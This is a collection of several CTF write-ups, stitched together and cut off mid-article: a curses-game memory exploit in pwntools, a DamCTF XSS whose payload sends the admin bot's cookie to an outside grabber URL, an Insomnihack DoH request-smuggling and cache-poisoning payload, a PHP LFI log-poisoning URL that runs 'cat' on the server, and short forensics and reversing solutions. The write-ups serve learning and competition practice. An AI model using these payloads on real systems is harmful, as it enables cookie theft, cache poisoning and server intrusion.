```pwndbg> vmmap 0x555dd9f21000 0x555dd9f22000 r--p 1000 0 /home/jonathan/code/ctf/dice/zelda/zelda_patched 0x555dd9f22000 0x555dd9f24000 r-xp 2000 1000 /home/jonathan/code/ctf/dice/zelda/zelda_patched 0x555dd9f24000 0x555dd9f25000 r--p 1000 3000 /home/jonathan/code/ctf/dice/zelda/zelda_patched 0x555dd9f25000 0x555dd9f26000 r--p 1000 3000 /home/jonathan/code/ctf/dice/zelda/zelda_patched 0x555dd9f26000 0x555dd9f27000 rw-p 1000 4000 /home/jonathan/code/ctf/dice/zelda/zelda_patched 0x555dd9f28000 0x555dd9f29000 rw-p 1000 7000 /home/jonathan/code/ctf/dice/zelda/zelda_patched 0x555ddb008000 0x555ddb029000 rw-p 21000 0 [heap] ...```
## Putting It All Together
```python#!/usr/bin/env python3
from pwn import *
exe = ELF("./zelda_patched")
context.binary = exedebug_script='''b *main+35cp/x (long)rooms >> 12p/x (long)SP >> 12p/x ((long)SP >> 12) - ((long)rooms >> 12)p/x ((long)SP & 0xfff) - ((long)rooms & 0xfff)c'''
# pageoff = 0x341# constoff = 0x280# totaloff = 0x341280## noecho: SP + 30c
def conn(): if args.REMOTE: p = remote("mc.ax", 31869) elif args.D: p = gdb.debug([exe.path], gdbscript=debug_script) else: p = process([exe.path], stdin=PIPE, stdout=PIPE, raw=True)
return p
def main(): p = conn() # tick 197 certified UP = [b"\x1b[A"] DOWN = [b"\x1b[B"] RIGHT = [b"\x1b[C"] LEFT = [b"\x1b[D"] PUT = [b"p"] GET = [b"g"]
out = open("payload.txt", "wb")
def go(cmds):
padded_len = len(cmds) + 0x28 - len(cmds)%0x28 cmds = cmds + [b" "] * (padded_len - len(cmds)) s = b"".join(cmds)
p.send(s) out.write(s)
go(LEFT*6) go(LEFT*6) go(LEFT) go(LEFT + UP) go(LEFT) go(PUT + GET) # address 0x..5125 go(DOWN*6) # 5175 (room ID + 1) go(LEFT + GET) # 5174 = 0 (room ID = 0) # now we're suddenly at 0x...0eb and we gotta get back to the room... go(RIGHT + RIGHT + DOWN*(0x16 - 0xe) + RIGHT*(0x174 - 0x16d)) # we're at 0x174 # we need to pick up 1 coins, i.e. a 0x5 byte # there's one at 0x1b4 go(LEFT + DOWN*(0x1b-0x17) + RIGHT + GET + LEFT + UP*(0x1b-0x17))
go(RIGHT + RIGHT) go(PUT)
try: d = p.recvuntil(b"2304", timeout=2) except EOFError: print("CRASH") return False
if len(d) == 0: print("TIMEOUT") return False
print("GOOD") p.clean(1)
# room index is now 0x900 # on_tile = rooms + 0x4d100 # SP = 0x...2c0 _ifd = 2c0 _echo = 0x5cc # on_tile = 0x...275 go(RIGHT*2) go(DOWN * (0xb-0x7)) # 0xb7 #go(RIGHT + GET)
# go down + right to 0x5cc go(DOWN*(0x5c-0x2b) + RIGHT*(0x5cc-0x5c7)) go(PUT + LEFT*(0x5cc-0x5c7)) # 5cc = 1; 5c7 go(DOWN*(0x63 - 0x5c) + RIGHT) # GET 5 from 0x638 go(GET + LEFT + UP*(0x63 - 0x2c)) # go to 0x2c7 go(LEFT * 7) # 0x2c0
go(PUT)
flag = p.clean(timeout=5) if len(flag) > 0: print(flag) if b"dice" in flag: print("FLAG!!!") return True else: if args.REMOTE: p.close() else: p.kill() return False # p.interactive()
if __name__ == "__main__": while not main(): pass```
First, I clip out of bounds, as described above. I pick up my coin after using it to clip through the wall, so I still have one coin.
I stand on the least-significant byte of the current room ID at address 0x...175 within the data segment. This currently holds the value 1 -- or an empty coin pile. I pick up the pile, changing my room ID to 0. (This teleports me backwards in memory a ways, so I have to walk a bit to get back to the same spot in memory.)
Next, I go to the `acs_map`, find a 05 byte, and pick it up. This increases my coin counter, so I now have 2 coins. I place my coins on the second byte of the room ID, causing this byte to become 9 and causing my room ID to become 0x900.
Most of the time, the game instantly crashes since it tries to read from unmapped memory. But every few dozen attempts, I end up somewhere in the heap without crashing. And every few dozen times that I don't crash, I end up right before the `SP` struct in memory!

I walk down to the address where the `_echo` flag is stored, and place an empty coin pile to change this byte to 1. I go find a 5 byte somewhere in the struct, pick it up, and place it at the `_infd`. ncurses will now read from file descriptor 5 instead of standard input, and every character read will be echoed to standard output -- in other words, it prints the flag!
When I tested it locally, I actually got to "play" the exploit in real time -- I ran a shell one-liner that would re-run the initial part of the payload over and over until it didn't crash, then hand control over the game to me so I could explore the heap and figure out how to make the exploit work. And it did -- I got to see my test flag printed as gibberish text in the middle of my terminal! Unfortunately, I was unable to get this script to work on the real server, so I had to resort to automating it in pwntools -- which *also* proved surprisingly difficult to get to work. Automating a curses application was just painful, and there were a lot of nuances of buffering and character encoding that I never really figured out, instead resorting to trial-and-error and tweaking random things until a flag showed up. (For instance, when testing the exploit locally I had to send `\x1bOD` to send a left-arrow keypress, but when running against the server the magic string was `\x1b[D`, and I have no idea why or what the difference is.)
---
This was an incredibly fun challenge -- it was a really cool concept with a really neat exploit. I want to give a huge thanks to pepsipu for creating this challenge and DiceGang for putting on this CTF, because I had a great time working on it.
Also, a fun fact: this type of attack works against real videogames, too! The fastest known way to beat Super Metroid uses [essentially this exact exploit](https://www.youtube.com/watch?v=vOXNOrUHQwk&start=586): abuse a bug involving player positioning during door transitions to clip out-of-bounds; find your way through the contents of RAM; and use X-Ray Scope to overwrite a flag that triggers the endgame sequence. Although Super Metroid's 2D platformer gameplay adds another layer of challenge over a top-down RPG: it's a lot harder to navigate RAM when you have to deal with gravity causing you to fall through all the 00 bytes! |
[Original write-up](https://github.com/H31s3n-b3rg/CTF_Write-ups/blob/main/BucketCTF_2023/WEB/SQLi/SQLi-4/README.md) (https://github.com/H31s3n-b3rg/CTF_Write-ups/blob/main/BucketCTF_2023/WEB/SQLi/SQLi-4/README.md) |
**Very simple reversing challenge.**

Here, we have the meow.exe file. Since this challenge is worth ~50 points, we can assume it's easy one. Regarding this, we shouldn't use any disassemblers, debuggers, reverse engineering frameworks, and other relevant tools. We will do what the title suggests. Cats At Play.
The strings command in Linux is a utility that allows you to extract human-readable strings from binary files. It scans a binary file for sequences of printable characters and displays them as output, making it useful for examining files that may contain text strings, such as executable files, libraries, and other binary files.
`strings meow.exe | grep -E '^RS'`

The command is a combination of two Linux commands, strings and grep, used in conjunction to analyze the contents of a binary file named meow.exe. Here's a breakdown of what each part of the command does:
* The **strings** command is used to extract human-readable strings from the binary file "meow.exe". It scans the file for sequences of printable characters and displays them as output. This can include text strings, ASCII art, and other readable content embedded in the binary file.* The **pipe (|)** symbol is used to redirect the output of the preceding command to the input of the following command. This allows the output of strings to be filtered by the grep command based on a specific pattern.* The **grep** command is used to search for lines in the input that match a given pattern. In this case, the pattern being searched for is ^RS, which specifies lines that start with the characters "RS". The -E option is used to enable extended regular expressions, allowing for more complex patterns to be used.
**Flag: *RS{C4tsL1keStr1ng5}*** |
>M1ll_0n>41 solves / 459 points>>Ever seen that neat paste program by topaz for advent of code? Yeah, well this is like 100% better and more secure since it's for note card sharing.Admin bot at /admin>>http://url-stored-notes.chals.damctf.xyz>>http://64.227.26.193>>[url-notes.zip](https://rctf-bucket.storage.googleapis.com/uploads/785b930a6369cfb78baea2bb62079266bb48d5e4d6ae52d918a7f5eee20bebec/url-notes.zip)
题目给出了源码,根据源码可以判断需要通过 XSS 窃取 admin bot 的 cookie
站点是一个留言板,可以输入 prompt 和 answer 生成一个临时链接。

访问临时链接就可以访问到我们写入的内容。

正常情况下,我们写入的内容都被包裹在 textContent 里面,也就是无法解析了。
```jspromptElement.textContent = prompt;answerElement.textContent = answer;```
值得关注的是,站点仅使用了前端代码来限制使用的 tag,因此实际上其他的标签也是可以直接使用的。```jsconst SUPPORTED_TAGS = ['p', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'i', 'code'];```
关注到站点使用了 py-script 来操作页面元素,我们同样可以通过添加 py-script 标签来注入 python 代码,由此来添加 XSS payload:
py-script payload 的功能根简单,添加一个 `<script>` 标签获取 cookie。```pyimport js
script_tag = js.document.createElement('script')script_tag.innerHTML = "document.location='http://xxxxxxx/XSS/grabber.php?c='+document.cookie;"js.document.head.appendChild(script_tag)```
exp.py```pyfrom base64 import b64encode, b64decodefrom lzma import compress, decompressimport jsonimport requests
notes = {}
def note_decode(encodedNotes):
encoded_notes = encodedNotes.encode() decoded_notes = decompress(b64decode(encoded_notes)) notes = json.loads(decoded_notes.decode('utf-8')) return notes
def note_encode(Notes): encoded_notes = json.dumps(Notes) encoded_notes = compress(encoded_notes.encode()) encoded_notes = b64encode(encoded_notes).decode() return encoded_notes
def send_request(data): url = "http://64.227.26.193/#{}".format(data) res = requests.get(url) print(res.text)
if __name__ == "__main__": note = [ { 'prompt': '''import js
script_tag = js.document.createElement('script')
script_tag.innerHTML = "document.location='http://xxxxxxx/XSS/grabber.php?c='+document.cookie;"
js.document.head.appendChild(script_tag)''', 'answer': '', 'tag': 'py-script'} ] encoded_note = note_encode(note) print(encoded_note) # send_request(encoded_note)
```
流程图如下:```mermaidsequenceDiagram participant Attacker participant Website as Website Frontend participant Admin_Bot as Admin Bot
Attacker->>Website: Access website Attacker->>Website: Enter prompt and answer Website->>Attacker: Generate temporary link Attacker->>Admin_Bot: Submit temporary link Note over Attacker,Website: Bypass front-end tag limitation Attacker->>Website: Inject py-script with XSS payload
Website->>Attacker: Generate temporary link
Attacker->>Admin_Bot: Submit temporary link
Admin_Bot->>Attacker: Trigger XSS payload and send stolen cookies
```
[original writup](https://dummykitty.github.io/2023/04/09/DamCTF-2023-Writeup-Web/#url-stored-notes) (https://dummykitty.github.io/2023/04/09/DamCTF-2023-Writeup-Web/#url-stored-notes) |
# Insomnihack 2023 CTF - Sleep Safe DoH
This CTF came to me as a surprise. I was on a 2-month ski vacation with my best friend and CTF partner [@urikiller](https://github.com/urikiller) when my boss sent me a link to Insomnihack. Usually we play with [pasten](https://ctftime.org/team/6965), but this CTF requires to be on site and no one else was on the area. Nevertheless, as we were only about an hour and a half drive away, we made a quick decision to pack a bag of snacks and hit the road to solve some challenges.
## Description
Unfortunately, I didn't save the original description before the website went down, but the gist is this: The challenge revolves around **DNS over HTTPS - DoH**. We get a website where we can* Query any DNS name* Send a flag to a domain assigned to us when we first visit the site (e.g. `ebd771980a2f12d1.insomnihack.flag`) - we call it the flag domain
The backend implements DoH so the DNS queries we send go through the DoH mechanism, as well as the query for the flag domain when we ask to send the flag. The backend uses `https://dns.google/dns-query` for the actual resolving and implements a cache (important!) for storing the responses.
We get the python code of the backend running in the challenge - [challenge.py](https://github.com/amelkiy/write-ups/blob/master/Insomnihack-2023/SleepSafeDoH/challenge.py)
The [index.html](https://github.com/amelkiy/write-ups/blob/master/Insomnihack-2023/SleepSafeDoH/templates/index.html) supplied here is only for debugging, we didn't save the original page, but it was much prettier!
## DNS over HTTPS
First, let's go over the basics of DoH. The actual protocol is fairly simple - it works the same as the "normal" DNS protocol but uses an HTTPS connection as the medium. The queries and the responses inside the HTTP request are of the same binary format as a normal DNS query (binary data hexdump-ed):
```POST /dns-query HTTP/1.1Host: dns.googleContent-Type: application/dns-messageContent-Length: 28Accept: application/dns-message
00000000: 00 00 01 00 00 01 00 00 00 00 00 00 06 67 6F 6F .............goo00000010: 67 6C 65 03 63 6F 6D 00 00 01 00 01 gle.com.....
HTTP/1.1 200 OKX-Content-Type-Options: nosniffStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadDate: Sat, 25 Mar 2023 18:48:53 GMTExpires: Sat, 25 Mar 2023 18:48:53 GMTCache-Control: private, max-age=300Content-Type: application/dns-messageServer: HTTP server (unknown)Content-Length: 44X-XSS-Protection: 0X-Frame-Options: SAMEORIGINAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
00000000: 00 00 81 80 00 01 00 01 00 00 00 00 06 67 6F 6F .............goo00000010: 67 6C 65 03 63 6F 6D 00 00 01 00 01 C0 0C 00 01 gle.com.........00000020: 00 01 00 00 01 2C 00 04 AC D9 A8 0E .....,......```
We can use `dnslib.DNSRecord.parse()` on the request and the response, and we get:```Request:;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 0;; flags: rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0;; QUESTION SECTION:;google.com. IN A
Response:;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 0;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0;; QUESTION SECTION:;google.com. IN A;; ANSWER SECTION:google.com. 300 IN A 172.217.168.14```
That's the basic protocol, not much more we need to know about it to solve the challenge.
## Finding the Bug
The [python file](https://github.com/amelkiy/write-ups/blob/master/Insomnihack-2023/SleepSafeDoH/challenge.py) we got with the challenge contains some Flask code and a DoH query-parsing routine, which is the important part of the challenge. Let's have a look:```def build_dns_query(host): query = "\x00\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00" query += "".join(chr(len(part)) + part for part in host) query += "\x00\x00\x01\x00\x01" return query
def process_dns_query(query_bytes): query = DNSRecord.parse(query_bytes)
answer = query.reply()
s = requests.Session() for i, question in enumerate(query.questions[:3]): # limit to 3 questions to avoid DoS if question.qtype == QTYPE.A: fqdn = list(map(bytes.decode, question.qname.label)) cache_key = ('.'.join(fqdn)).encode().hex()
cached_value = redis.get(cache_key)
if cached_value == None: print("Resolving", fqdn, flush=True)
query = build_dns_query(fqdn) req = REQ_TEMPLATE.copy() req.body = query.encode() req.headers["Content-Length"] = str(len(query)) res = s.send(req, timeout=2).content
# extract and cache the answer try: record = DNSRecord.parse(res) ip = [str(rr.rdata) for rr in record.rr if rr.rtype==QTYPE.A][0] except: # error/no answer, skip continue redis.set(cache_key, ip, ex=60) else: print("Cache hit", fqdn, flush=True) ip = cached_value.decode() answer.add_answer(RR(rname=question.qname, rtype=QTYPE.A, ttl=0, rdata=A(ip))) return answer.pack()```
A couple of things come to mind:* The code uses DNSRecord.parse from dnslib to parse our request * Meaning the request has to be valid (assuming we're not looking for bugs in the library)* The request is parsed, the DNS names are extracted from it and are used to form the forward query for `dns.google` * Meaning we'll have to use the actual DNS name in the request if we wanted to make Google do something for us* The cache use is straightforward, but coupled together with `query.questions[:3]` gives us a hint * The server supports multiple queries in one request, so we could try to use that to poison the cache* Another hint is that the server doesn't check that the answer to the query sent contains the same DNS label as the query * It only checks that the answer is an A record - `if rr.rtype==QTYPE.A` * Meaning that if we could make Google respond with an answer to some other domain, the server would consider it to be a valid answer* There is a third hint - `s = requests.Session()` * The server uses the same HTTPS session to communicate with Google when forwarding the requests * **If we could somehow make Google send back 2 responses, one after the other, we could poison the cache**
### How would that work? The first query contains a "question" for any domain but makes Google respond with 2 responses. The first response is fed to `requests` when it reads the `content` after `s.send()`. The 2nd response contains an answer to a domain that we control. This answer is pending on the socket. The 2nd question contains our flag domain as the query (`ebd771980a2f12d1.insomnihack.flag`) and the server forwards it to Google with `s.send()`, but there is an answer already waiting to be read on the socket - the 2nd answer we made Google send using the first, bogus query. Then, when invoking `.content`, the `requests` library will read this pending answer containing the A record for our domain and the server will regard it as the answer to the flag domain query. Then this answer will be stored in the cache and when we ask to send the flag, the server will read our IP from the cache and send the flag to us.
### 2 Answers in one RequestSo we have a working theory of how we could poison the cache, but we still need to make Google respond with 2 answers for one request. Let's look at how the request to Google is generated:```def build_dns_query(host): query = "\x00\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00" query += "".join(chr(len(part)) + part for part in host) query += "\x00\x00\x01\x00\x01" return query
...
fqdn = list(map(bytes.decode, question.qname.label))query = build_dns_query(fqdn)req = REQ_TEMPLATE.copy()req.body = query.encode()req.headers["Content-Length"] = str(len(query))```
There is something weird... The `question.qname.label` contains a list of the domain "elements" - The domain in the DNS protocol is stored as length-value pairs instead of the dots in the name. For example:```www.google.com
Will be stored as\x03www\x06google\x03com\x00
And question.qname.label will contain[b'www', b'google', b'com']```
The code parses the DNS query as binary, then decodes each element in the label to feed it into a query template that is **a string**... Now, I still write in python 2.7 because I hate the str-bytes conversions, but this is weird - you shouldn't really have binary data in a string. So the query is a string, the DNS label is decoded into a string, and then the whole thing is `.encode()`-d into bytes when fed to `requests`. The content length is set to be the length of the query before it was `.encode()`-d:```req.headers["Content-Length"] = str(len(query))```
Frankly, it stinks... We decided to experiment.
One of the things that we tried was playing with the length of each element in the query. We discovered something interesting: When writing a long label (128 bytes) we need to specify the length as `\x80` but when we encode it, it becomes `b'\xc2\x80'`. How would that affect the DNS query? Well, it breaks it completely. Turns out you can't have such long labels and a size of 192 and above means a pointer in the packet (not really important). But it gives us something else! Consider having the name `foo\x80bar.com` - it would be represented as `\x07foo\x80bar\x03com\x00` but when we encode it, it becomes `b'\x07foo\xc2\x80bar\x03com\x00'`, which is 1 byte longer. Forget for a second that it becomes an invalid query (the \x07 would have to be changed to \x08), how does it affect the code?```# The query is (7+1) + (3+1) + 1 = 13 bytes (forget the headers/footers)query = build_dns_query(fqdn)
req = REQ_TEMPLATE.copy()
# req.body becomes 14 bytes because of the encode()req.body = query.encode()
# The content length is set to 13 bytes!req.headers["Content-Length"] = str(len(query))```
Now the code will send this query to Google, the first 13 bytes will be read as the payload of the HTTP request but the trailing byte will be considered an extra HTTP request! If we could smuggle a whole HTTP request containing a valid query to the server - we could make it respond with 2 answers and poison the cache!
## Building the Full Request
This part is a bit tricky so try to stay focused!
The request needs to be valid and include the following:* Bogus query that contains a number of `\x80` characters and the extra HTTP payload * We chose `\x80` arbitrarily as it's not a valid ASCII character, any non-ASCII character will work * The HTTP payload has to be inside the DNS label since it's the only data that gets passed to Google * There has to be an exact number of `\x80` characters so that the encoded payload will expand to fit the content length* A query to a domain we control
Let's start with the 2nd query since it's the easiest. We'll take `my.server.com` as an example to a domain we control. We can generate it using `build_dns_query(['my', 'server', 'com'])` and take the HTTP headers from the challenge code (binary data in hexdump):```POST /dns-query HTTP/1.1Host: dns.googleAccept: application/dns-messageContent-Type: application/dns-messageContent-Length: 31
00000000: 00 00 01 00 00 01 00 00 00 00 00 00 02 6D 79 06 .............my.00000010: 73 65 72 76 65 72 03 63 6F 6D 00 00 01 00 01 server.com.....```
That will be our payload. Now we need to fit it into a DNS query inside one of the labels. The payload is 169 bytes long, so we need to have 169 bytes of `\x80` prior to it. Actually, the DNS label is going to be `decode()`-d prior to building a new request, and we need the `\x80` in the decoded version, so that when it will be encoded again, they will expand to `b'\xc2\x80'`. So we actually need to put 169 pairs of `b'\xc2\x80'` into the request. They will be decoded to 169 `\x80` bytes, used to build a new query and encoded again. The length of a single element in the DNS query has to be under 192 bytes (technically under 64, but it's usually not enforced), so we decided to split these bytes into a number of ~90 bytes chunks. One last thing, the DNS parser parses the packet in the encoded form, as bytes, so it will see a bunch of `b'\xc2\x80'` bytes. For an extra of 169 bytes we need 169 pairs of `b'\xc2\x80'`, so that's 338 bytes - 2 chunks of 180+158 bytes. The full request will look something like this:```[header - \x00\x00\x01...] [180] [b'\xc2\x80' * 90] [158] [b'\xc2\x80' * 79] [169] [payload - 169 bytes] [footer - \x00\x00...]```Now the server will parse this request and get a DNS label of```[b'\xc2\x80' * 90, b'\xc2\x80' * 79, payload]```The elements in the label are decoded to become `['\x80' * 90, '\x80' * 79, payload]` and the new query is prepared:```[header] [90] ['\x80' * 90] [79] ['\x80' * 79] [169] [payload] [footer] 12 1 90 1 79 1 169 5```
The length of this whole thing is 12+1+90+1+79+1+169+5 = 358 characters. When encoded, the `\x80`s are expanded, so we get an extra of 90+79=169 bytes. That means that the last 169 bytes are being sent as an extra query to the server. Ah, but we have a problem... We actually haven't considered 2 things: 1. The footer. Since the server code is adding a footer of 5 bytes we need to include it in our calculation * Well, we can actually make a small trick - remove the footer from our payload and use the one provided by the code2. The length of the payload is 169 and the character chr(169) exists in the data, so, when encoded, it will be expanded to `\xc2\xa9` * Not a problem, we just need to have one byte less of "padding"
Let's review - first we removed 5 bytes from the payload, so the payload is now 164 bytes. We need to remove 5 padding bytes. But, we also need to add 5 padding bytes to include the footer as the end of our own request. These 2 cancel each other. Finally, we need to remove one byte to account for the expansion of the payload length byte. That means we just remove one pair of `b'\xc2\x80'` bytes from the padding. That makes the 2nd chunk 158-2 = 156 bytes. The new payload (with the footer removed will be):```POST /dns-query HTTP/1.1Host: dns.googleAccept: application/dns-messageContent-Type: application/dns-messageContent-Length: 31
00000000: 00 00 01 00 00 01 00 00 00 00 00 00 02 6D 79 06 .............my.00000010: 73 65 72 76 65 72 03 63 6F 6D server.com```With a length of 159 bytes. The full query: ```[header] [180] [b'\xc2\x80' * 90] [156] [b'\xc2\x80' * 78] [164] [payload - 164 bytes] [footer]```The prepared query after decoding:```[header] [90] ['\x80' * 90] [78] ['\x80' * 78] [164] [payload] [footer] 12 1 90 1 78 1 164 5```We get an extra of 90+78+1 = 169 bytes, so the last 169 bytes are being sent as an extra query - that's perfect for our 164+5=169 byte payload and footer.
The only thing that we're missing is the query to the flag domain, so the cache is properly poisoned. We need to invoke it right after we send the first query to Google, so the answer to the injected HTTP request will be read as an answer to the flag domain query. We only need to make our request specify that we have 2 questions and append the flag domain query to the end. Bytes 4+5 in the header are the number of questions in the query, so all we need to do is to change them to `00 02` and append the question for the flag domain - it can be built with `build_dns_query(['ebd771980a2f12d1', 'insomnihack', 'flag'])`.
The full payload: ```00000000: 00 00 01 00 00 02 00 00 00 00 00 00 B4 C2 80 C2 ................00000010: 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 ................00000020: 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 ................00000030: 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 ................00000040: 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 ................00000050: 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 ................00000060: 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 ................00000070: 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 ................00000080: 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 ................00000090: 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 ................000000A0: 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 ................000000B0: 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 ................000000C0: 80 9C C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 ................000000D0: C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 ................000000E0: C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 ................000000F0: C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 ................00000100: C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 ................00000110: C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 ................00000120: C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 ................00000130: C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 ................00000140: C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 ................00000150: C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 C2 80 A4 50 ...............P00000160: 4F 53 54 20 2F 64 6E 73 2D 71 75 65 72 79 20 48 OST /dns-query H00000170: 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 64 TTP/1.1..Host: d00000180: 6E 73 2E 67 6F 6F 67 6C 65 0D 0A 41 63 63 65 70 ns.google..Accep00000190: 74 3A 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 64 t: application/d000001A0: 6E 73 2D 6D 65 73 73 61 67 65 0D 0A 43 6F 6E 74 ns-message..Cont000001B0: 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C 69 63 ent-Type: applic000001C0: 61 74 69 6F 6E 2F 64 6E 73 2D 6D 65 73 73 61 67 ation/dns-messag000001D0: 65 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 e..Content-Lengt000001E0: 68 3A 20 33 31 0D 0A 0D 0A 00 00 01 00 00 01 00 h: 31...........000001F0: 00 00 00 00 00 02 6D 79 06 73 65 72 76 65 72 03 ......my.server.00000200: 63 6F 6D 00 00 01 00 01 10 65 62 64 37 37 31 39 com......ebd771900000210: 38 30 61 32 66 31 32 64 31 0B 69 6E 73 6F 6D 6E 80a2f12d1.insomn00000220: 69 68 61 63 6B 04 66 6C 61 67 00 00 01 00 01 ihack.flag.....```
## Flag
Once the cache is poisoned we can invoke a POST request to `/send-flag`. The server will resolve the flag domain using its own resolver and should get the cached IP from our poisoned request. Then the server submits the flag as an HTTP request to the IP we control - we just opened a `nc -l -p 80` and got the flag.
## Conclusion
For an unknown reason, the poison doesn't always work... We experimented with raw SSL sockets and made sure everything works with Google, but, sometimes, the server just won't receive the 2nd answer. We think it has something to do with the way requests handles sessions, we didn't get much into it because we ran it a few times, and it worked. All in all, this challenge was super fun and really highlights the importance of working correctly with binary buffers and data validation. So, remember to always make sure your responses match your requests, and, just a friendly reminder to all you C people - Always initialize your variables ? |
1. Crack the password to the archive. https://ibb.co/qDb9WH32. Bind all the pictures in the archive. https://ibb.co/Wzp0zbH3. Change the first 4 bytes of the file to 41 45 53 02 (“AES.” if converted from hex).4. Extract the flag via the https://pastebin.com/a6AP36KJFlag: vishwaCTF{3ncrypt!0ns_4r3_b0r!ng!!!!}. |
This was a PHP LFI with log poisoning
Solution:```https://jerseyctf-poisoned.chals.io/?poison=cat%20/secret_fl4g.txt&page=....//....//....//....//../var/log/apache2/access.log```
You had to guess /var/log/apache2/access.log. I think the log injection was created by the challenge author, so you didn't need to do the log injection yourself.
A full video walkthrough can be found here:[https://youtu.be/2eLzzm2pLxk?t=213](https://youtu.be/2eLzzm2pLxk?t=213) |
We were given a web server with login page. And a button which showed me the source code of the site. There was a thing strcmp() which expected value to be 1.
First I tried out some SQL injection payloads from https://github.com/payloadbox/sql-injection-payload-list and one of the payload gave me an error saying strcmp() is set to be 1
This made me kind of confused so I decided to do a bit research on it and found an article https://www.doyler.net/security-not-included/bypassing-php-strcmp-abctf2016
So I tried the way he did by making ?username[]=""&password[]="" but its was still throwing out the same issue. Then i decided to do a few more research and found out that the above article was for solving the strcmp() value to be set 0 and my error showed it to make me 1 so I tried to search upon how to make it 1 and not 0 and tried playing with the URL for a while and when i made the url ?username=admin&password[]="" I saw the same error again Until i checked down below the password box the flag laying xD |
# Red Team Activity 3
- 193 Points / 96 Solves
## Background
Q3: What is the location (the full path) responsible having run the malicious script repeatedly?
Note: Flag format is `RS{MD5sum(<answer string>)}`

## Find the flag
**In this challenge, we can download a file:**```shell┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Forensics/Red-Team-Activity-3)-[2023.04.01|18:09:30(HKT)]└> file auth.log auth.log: ASCII text, with very long lines (1096)```
As you can see, it's the `auth.log`, which is a Linux log file that stores **system authorization information, including user logins and authentication machinsm that were used.**
In Red Team Activity 1, we found **the malicious script is `_script2980.sh` in `/dev/shm/`**.
Now, the challenge's question is asking "repeatedly". Which technique in red teaming is to repeatedly executing something?
You guessed! "***Persistence***"!
How to implement persistence in Linux? ***Cronjob***!
**With that said, let's see any cronjobs has been modified/added!**```shell┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Forensics/Red-Team-Activity-3)-[2023.04.01|18:15:10(HKT)]└> grep 'crontabs' auth.log Mar 25 20:56:56 ctf-1 snoopy[14959]: [login:ubuntu ssh:((undefined)) sid:14897 tty:/dev/pts/3 (0/root) uid:root(0)/root(0) cwd:/root]: vim /var/spool/cron/crontabs/root```
Found it! `/var/spool/cron/crontabs/root` is the new cronjob!
**MD5 hash the answer:**```shell┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Forensics/Red-Team-Activity-3)-[2023.04.01|18:10:48(HKT)]└> echo -n '/var/spool/cron/crontabs/root' | md5sumc1da8fd57f17c95c731c38ee630f6aea -```
- **Flag: `RS{c1da8fd57f17c95c731c38ee630f6aea}`** |
Solution:
In the JS console, run the loadFlag function:
```loadFlag()```
Video walkthrough can be found here:[https://www.youtube.com/watch?v=2eLzzm2pLxk](https://www.youtube.com/watch?v=2eLzzm2pLxk) |
For a better view check our [githubpage](https://bsempir0x65.github.io/CTF_Writeups/VU_Cyberthon_2023/#authors-mistake) or [github](https://github.com/bsempir0x65/CTF_Writeups/tree/main/VU_Cyberthon_2023#authors-mistake) out
Here we got a link provided to a pinterest pic and the hint that the flag was already published. We had a look into the pic and saw that the author has uploaded multiple pics. On the last one you could see that the pic had a comment, with the flag in it.[pinterest](https://www.pinterest.com/pin/964051863962640008/) Flag: VU{179d9afbd6a5a817ca2765ab958ba9d8ec95eb7c}

A quick and nice challenge. |

题目给出了源码方便本地测试,站点采用 python 异步框架 Quart + 后端 cortex 数据库的形式部署,相对来说很陌生。
通过审计源码可以知道题目定义了如下的几个功能:1. 首页(index)2. 用户注册(register)3. 用户登录(login)4. 用户注销(logout)5. 查询(lookup)6. 管理员页面(admin)
其中管理员界面应该是可以获取到 flag 的。关键就在于 is_admin 的判断中。is_admin 的判断主要依托于 cortex 查询语句:```pythonself._is_admin = (await current_app.cortex.count(r"auth:creds=(thunderstruck,$u) +#role.admin", opts={"vars": {"u": self.auth_id}, "view": self._view})) == 1```
用户对应的 auth:creds 表项如果具备 role.admin 标签即具有 admin 权限,但正常的用户在注册时无法获取这个标签。
